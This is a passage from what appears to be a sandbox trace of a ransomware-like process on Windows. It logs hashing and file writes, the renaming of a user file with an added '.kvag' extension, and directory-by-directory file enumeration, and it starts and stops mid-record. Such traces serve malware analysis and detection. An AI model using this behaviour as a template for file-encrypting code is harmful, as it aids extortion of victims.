phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.449] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.449] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.450] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.450] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.450] CryptReleaseContext (hProv=0x3608020, dwFlags=0x0) returned 1 [0121.450] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.450] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.450] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.450] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0121.450] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xa5ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.450] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.451] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.451] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.451] CloseHandle (hObject=0x61c) returned 1 [0121.452] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip.kvag")) returned 1 [0121.453] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce824760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce824760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe5ab8070, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReaderMessages", cAlternateFileName="READER~1")) returned 1 [0121.454] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages") returned="" [0121.454] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0121.454] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 0 [0121.454] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0121.454] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0121.454] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0121.454] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0121.454] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0121.454] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0121.454] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.454] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.454] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.454] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.454] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.454] PathFindFileNameW (pszPath="") returned="" [0121.455] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0121.455] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.455] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 1 [0121.455] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 0 [0121.456] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0121.456] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0121.456] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0121.456] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="Content\\" [0121.456] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0121.456] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0121.456] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.456] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.456] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.456] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.456] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.456] PathFindFileNameW (pszPath="") returned="" [0121.456] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0121.458] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.459] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1 [0121.460] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="" [0121.460] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x561, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1 [0121.460] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="" [0121.460] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf952550, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf952550, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf952550, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cAlternateFileName="1BB09B~1")) returned 1 [0121.460] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="" [0121.460] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4c00edb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4c00edb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4c00edb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xf1d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1DAF2884EC4DFA96BA4A58D4DBC9C406", cAlternateFileName="1DAF28~1")) returned 1 [0121.460] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="" [0121.460] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x580eb5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x580eb5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaedd4300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x145, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="23B523C9E7746F715D33C6527C18EB9D", cAlternateFileName="23B523~1")) returned 1 [0121.460] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\23B523C9E7746F715D33C6527C18EB9D") returned="" [0121.460] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc3791460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc3791460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc3791460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0121.460] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3130B1871A126520A8C47861EFE3ED4D") returned="" [0121.460] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53fdc930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53fdc930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf16fc70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x58b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cAlternateFileName="3388EC~1")) returned 1 [0121.460] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="" [0121.460] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53b19d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b19d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54583d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cAlternateFileName="40E450~1")) returned 1 [0121.460] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="" [0121.460] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54537ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54537ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae76e7e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", cAlternateFileName="4C8F84~1")) returned 1 [0121.460] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="" [0121.460] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7295ee20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7295ee20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xadfb2060, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cAlternateFileName="4DD397~1")) returned 1 [0121.461] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="" [0121.461] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf8b9fd0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf8b9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf8b9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cAlternateFileName="5080DC~2")) returned 1 [0121.461] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="" [0121.461] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf86dd10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf86dd10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf86dd10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cAlternateFileName="5080DC~1")) returned 1 [0121.461] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="" [0121.461] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7af630, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cAlternateFileName="5457A8~1")) returned 1 [0121.461] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="" [0121.461] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xed9b0820, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xed9b0820, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xed9b0820, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0121.461] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD") returned="" [0121.461] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf763370, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cAlternateFileName="705A76~1")) returned 1 [0121.461] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="" [0121.461] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedb2d5e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedb2d5e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedb2d5e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0121.461] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned="" [0121.461] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x312640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cAlternateFileName="7423F8~1")) returned 1 [0121.461] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="" [0121.461] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd0e4c510, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0121.461] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="" [0121.462] FindNextFileW 